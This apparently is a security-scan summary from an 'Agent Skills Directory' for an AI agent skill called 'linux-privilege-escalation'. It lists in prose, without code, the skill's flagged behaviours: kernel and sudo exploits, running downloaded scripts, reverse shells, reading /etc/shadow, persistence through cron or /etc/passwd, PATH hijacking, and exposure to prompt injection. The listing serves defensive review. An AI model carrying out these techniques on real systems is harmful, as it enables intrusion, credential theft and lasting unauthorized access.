The Agent Skills Directory

[PRIVILEGE_ESCALATION]: Provides a comprehensive workflow for gaining root access by exploiting SUID bits, sudo permissions (GTFOBins), and kernel vulnerabilities like Dirty COW or Dirty Pipe.
[REMOTE_CODE_EXECUTION]: Instructions guide the agent to download and execute external scripts (e.g., LinPEAS) and binary exploits, which constitutes remote code execution.
[EXTERNAL_DOWNLOADS]: Fetches executable content from external sources, specifically GitHub (carlospolop/PEASS-ng) and user-specified attacker IP addresses.
[DATA_EXFILTRATION]: Includes multiple reverse shell one-liners (Bash, Python, Netcat, Perl) to redirect system access to an external machine and commands to read sensitive files like /etc/shadow.
[PERSISTENCE]: Details methods to maintain root access, such as hijacking cron jobs or modifying /etc/passwd to create new root-level accounts.
[DYNAMIC_EXECUTION]: Involves runtime compilation of C source code using gcc for exploits and shared library creation for LD_PRELOAD-based attacks.
[COMMAND_EXECUTION]: Instructs on PATH hijacking by placing malicious binaries in writable directories and manipulating the PATH environment variable to prioritize them.
[CREDENTIALS_UNSAFE]: Directs the agent to read the /etc/shadow file to extract encrypted password hashes for potential offline cracking.
[INDIRECT_PROMPT_INJECTION]: Processes untrusted system data (e.g., command outputs and file contents), presenting a surface where instructions embedded in the target environment could influence the agent.

linux-privilege-escalation